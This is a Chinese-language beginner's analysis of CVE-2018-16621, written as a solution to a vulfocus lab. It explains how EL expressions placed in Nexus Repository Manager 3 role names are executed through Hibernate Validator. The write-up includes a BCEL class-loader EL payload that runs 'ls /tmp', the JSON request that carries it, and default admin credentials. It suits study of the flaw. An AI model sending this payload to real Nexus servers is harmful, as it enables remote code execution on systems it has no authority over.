CVE-2018-16621 漏洞分析报告+Nexus Repository Manager3 EL注入+vulfocus题解

0x00 废话:

笔者前期是做了些靶场题目,但是初入cve还没多久,对很多内容以及大佬题解的术语都不熟悉。对于我来讲直接做那些平台的靶场题目更容易一点,但肯定也存在像我一样的新人,看大佬题解发现跟不上思路初期不太看得懂,所以打算写篇简单的cve分析报告。


0x01 介绍

本题来源于vulfocus,不用搭建docker也能直接复现,很是方便啊

题目:Nexus Repository Manager3 EL注入(CVE-2018-16621)

描述: (看不懂没关系,后面会讲的,我第一次看到的时候也看不懂)

Nexus是一个强大的Maven仓库管理器,它极大地简化了自己内部仓库的维护和外部仓库的访问。

在 org.sonatype.nexus.security.privilege.PrivilegesExistValidator 和 org.sonatype.nexus.security.role.RolesExistValidator 类中,会将没有找到的 privilege 或 role 放入错误模板中,而在错误模板在渲染的时候会提取其中的EL表达式并执行

密码为admin/admin123


0x02 知识点

1.Java 表达式语言(EL)注入(Expression Language (EL) Injection)

介绍:笔者一开始以为这是ssti注入,所以我们来看看区别

区别:

SSTI:攻击的是模板引擎(如 Jinja2, FreeMarker, Thymeleaf)。

EL Injection:攻击的是 Java EE 或 Spring 框架自带的表达式求值功能。

维度 普通代码注入 (如 ${7*7}) 字节码注入 (你的 Payload)
发送的内容 源代码文本 编译后的二进制数据(转成了文本)
解析方式 表达式引擎解析 类加载器直接把数据塞进虚拟机(JVM)
绕过能力 弱(容易被敏感词过滤拦截) 强(代码特征被编码彻底隐藏)

这里如果看不懂类加载器没关系,介绍一下:

在 Java 里,代码(.java)编译后会变成 字节码(.class

要使 .class 文件 运行,就需要 类加载器(ClassLoader)

com.sun.org.apache.bcel.internal.util.ClassLoader

image-20260408162020820

他会找到 二进制数据(字节码)然后解析成能够被java运行的“类”结构,然后去JVM(Java 虚拟机)找块地方存折

2.POC (Proof of Concept)概念验证

笔者看不懂这是啥,去搜了一下

它是用来证明漏洞确实存在的一段代码或请求。

POC (Proof of Concept - 漏洞验证): 指的是整套动作,比如你发了一个带有payload的请求包,这个请求包就是poc。

Payload : 具有攻击能力的那串具体代码

3.BCEL 字节码绕过(Byte Code Engineering Library)

1. 定义:The Byte Code Engineering Library (Apache Commons BCEL™) is intended to give users a convenient way to analyze, create, and manipulate (binary) Java class files (those ending with .class)

字节码工程库(Apache Commons BCELTM)旨在为用户提供一种 分析、创建和操控(二进制)Java类文件(以 .class 结尾的文件) 的便捷方式

2. 为什么要使用字节码绕过:因为后端存在 关键字黑名单(过滤了 “Runtime”、”exec” 等)或者 JSON 语法校验(Payload 里的双引号破坏了 JSON 结构),我们要绕过

3. 原理

先理解运行流程

image-20260408172317502

点击并拖拽以移动编辑

BCEL 允许我们直接操作 .class 文件的二进制内容(也就是字节码)。我们就可以篡改字节码内容加入恶意代码, 只要这个 字节码 被实例化成对象,就会执行 静态代码块或者构造函数中的恶意代码

而ClassLoader 加载器(这个加载器重写了 loadClass 方法)看到 以 $$BCEL$$ 开头 的类名,会认为后面的字符串是经过特定算法编码的字节码内容

然后类加载器会将字节码好好保存起来放在jmv中

就等执行了

4. 执行流程

实例化字节码需要实例化加载器。

举例payload:

1
2
//payload
${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').loadClass('$$BCEL$$...').newInstance().exec('ls /tmp')}

先通过 ${''.class.forName('...')}.newInstance()实例化BCEL加载器,再调用loadClass方法 解压和解码出 字节码源码,被放入jvm中,然后newInstance()实例化 字节码(类),直接执行恶意代码

5. 举例:此题具体执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


{
"action": "coreui_User",
"method": "update",
"data": [
{
"userId": "admin",
"version": "1",
"firstName": "Administrator",
"lastName": "User",
"email": "admin@example.org",
"status": "active",
"roles": [
"${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$...').newInstance().exec('ls /tmp')}"
]
}
],
"type": "rpc",
"tid": 16
}



// 第一步:从一个空字符串开始,获取 Java 的反射入口
''.class

// 第二步:通过反射,在系统库里找到 BCEL 专用的类加载器ClassLoader
.forName('com.sun.org.apache.bcel.internal.util.ClassLoader')

// 第三步:实例化加载器
.newInstance()

// 第四步:让加载器去解析那串 $$BCEL$$ 开头的乱码,并在内存里还原成一个“类”
//( loadClass 函数内置了逻辑:它会自动把这段乱码进行 Base64 解码 和 Gzip 解压)
.loadClass('$$BCEL$$$l$8b$I$I$7c$m$n_$A$Deval...')

// 第五步:实例化还原出来的“类”
.newInstance()

// 第六步:调用该对象的方法,执行 Linux 系统命令
.exec('ls /tmp')

4.Hibernate Validator

Hibernate Validator 是一个实现了 Jakarta Bean Validation (JSR 380) 规范的 Java 数据校验框架。它的核心任务是:判定数据是否合法,并生成错误报告。

一个用 Java 写好的程序包。它的代码逻辑里写了:如果方法返回 false,它就去执行一段“解析字符串”的代码。

5.JSR 技术规范(Java Specification Requests)

Java 社区过程(JCP, Java Community Process) 中提出的一种 Java 技术标准提案 机制,用于定义、改进或扩展 Java 平台的功能和 API。

它规定了所有的校验程序包(比如 Hibernate)都必须遵守一套相同的工作流程。


0x03 探索

先登录

image-20260408141103537

然后点击 设置 选项,进入user,随便改个user名

这样我们就创造了一个不存在的user,而服务器看到这些数据时他摸不清这个user的role是啥


0x04 复现

role的值就是注入点

image-20260408143943612

然后实在找不到payload我就去抄答案了

太恶心了这个payload

image-20260408152216169

这个长长的一串就是经过 base64编码和gzip压缩的 字节码(也就是类文件),我们要让 加载器 去把它实例化,实例化不就是会执行我们放在静态代码块或者构造函数中的恶意代码了


0x05 原理

CVE-2018-16621漏洞成因:表达式注入(EL Injection)

核心问题是 Java 的 Bean Validation(校验机制) 导致的。

  1. 注入点:Nexus 在处理用户角色的 roles 参数时,会校验角色名是否合法。
  2. 二次解析:如果校验失败,Nexus 会构造一个错误消息。为了让消息动态化,它使用了 Java 的表达式引擎。
  3. 触发:当它把非法角色名放入错误消息模板并进行解析时,表达式被执行了,在进行黑名单和json语法绕过,成功注入我们的恶意代码。

1.核心部分:

源代码搜索missing,找到漏洞发生的地方

image-20260408193106136

2.漏洞发生流程

一:RolesExistValidator.java中

  1. + 号把 “Missing roles: “ 和 ${7*7} 拼成了一个长字符串,然后调用 addConstraintViolation()
  2. 这个方法把拼接好的字符串存进了内存里的一个 ArrayList 集合中。
  3. 执行 return false;

二:Hibernate的ValidatorImpl.java

  1. 它收到了返回的 false,立刻调用一个 get 方法,把你刚才存进 ArrayList 的那个字符串拿出来。

三:Hibernate的AbstractMessageInterpolator.java

  1. 拿到字符串,发现里面有 ${ 符号。它通过代码逻辑判断,认为这是一个需要执行的指令。

四:执行EL引擎

  1. Hibernate 把字符串传给 EL 引擎。EL 引擎使用 Java 反射机制解析字符串中的内容,找到对应的 Java 类和方法,并在服务器上运行它们。

2.不核心部分

如果也有人想跟我一样看一下Hibernate框架的具体代码

源码地址:hibernatehibernate-validator

接下来的内容是详细讲了一下刚刚说的"这个方法把拼接好的字符串存进了内存里的一个 ArrayList 集合中。"这句话的过程

image-20260408212116400

  1. 储存参数(template,path,level)

    bcvwt方法被调用,返回是cvbt方法,并传进了模板消息和路径

image-20260408193214690

cvbi继承老爸的ctbi方法,传模板和路径

image-20260408193339412

老爸把传进来的模板、路径以及本身的el等级设置成默认(默认就等于一直渲染了),把这些参数都当成自己的成员

image-20260408194408104

然后调用add方法

image-20260408194534936

add把老爸的那些参数放到 content数组列表 里面存着,然后返回老爸(此时作为 外部类的实例对象,那我们就叫他老子)object,而这个object刚好存着我们的 content数组列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private List<ConstraintViolationCreationContext> constraintViolationCreationContexts;

.......

private abstract class NodeBuilderBase { //老子,外部类

...
public ConstraintValidatorContext addConstraintViolation() {
if ( constraintViolationCreationContexts == null ) {
constraintViolationCreationContexts = CollectionHelper.newArrayList( 3 ); //注意这里,值是数组列表
}
if ( !( expressionVariables == null || expressionVariables.isEmpty() ) && expressionLanguageFeatureLevel == ExpressionLanguageFeatureLevel.NONE ) {
LOG.expressionVariablesDefinedWithExpressionLanguageNotEnabled(
constraintDescriptor.getAnnotation() != null ? constraintDescriptor.getAnnotation().annotationType() : Annotation.class );
}
constraintViolationCreationContexts.add(
new ConstraintViolationCreationContext( //内部类
messageTemplate,
expressionLanguageFeatureLevel,
true,
propertyPath,
messageParameters != null ? Map.copyOf( messageParameters ) : Collections.emptyMap(),
expressionVariables != null ? Map.copyOf( expressionVariables ) : Collections.emptyMap(),
dynamicPayload
)
);
return ConstraintValidatorContextImpl.this;
}
}

代码图片

image-20260408194950255

这个Impl是啥?

解释一下:

ConstraintValidatorContext:这是一个接口(Interface)。它列出了一个校验上下文应该有哪些功能(比如 buildConstraintViolationWithTemplate),但它不写代码实现。

ConstraintValidatorContextImpl:这是具体的类(Class)。里面写了具体的 Java 代码来操作内存、管理列表。

image-20260408204429579

  1. 拿到数组列表,返回false

image-20260408214130192

之后就是isvalid返回了false,

由于 Bean Validation (JSR 303/380) 机制,Hibernate Validator把一开始传入的字符串重新出来,发现${}然后解析运行

这么简单的一份分析报告居然花了我八个小时,这就是对小白的惩罚吗?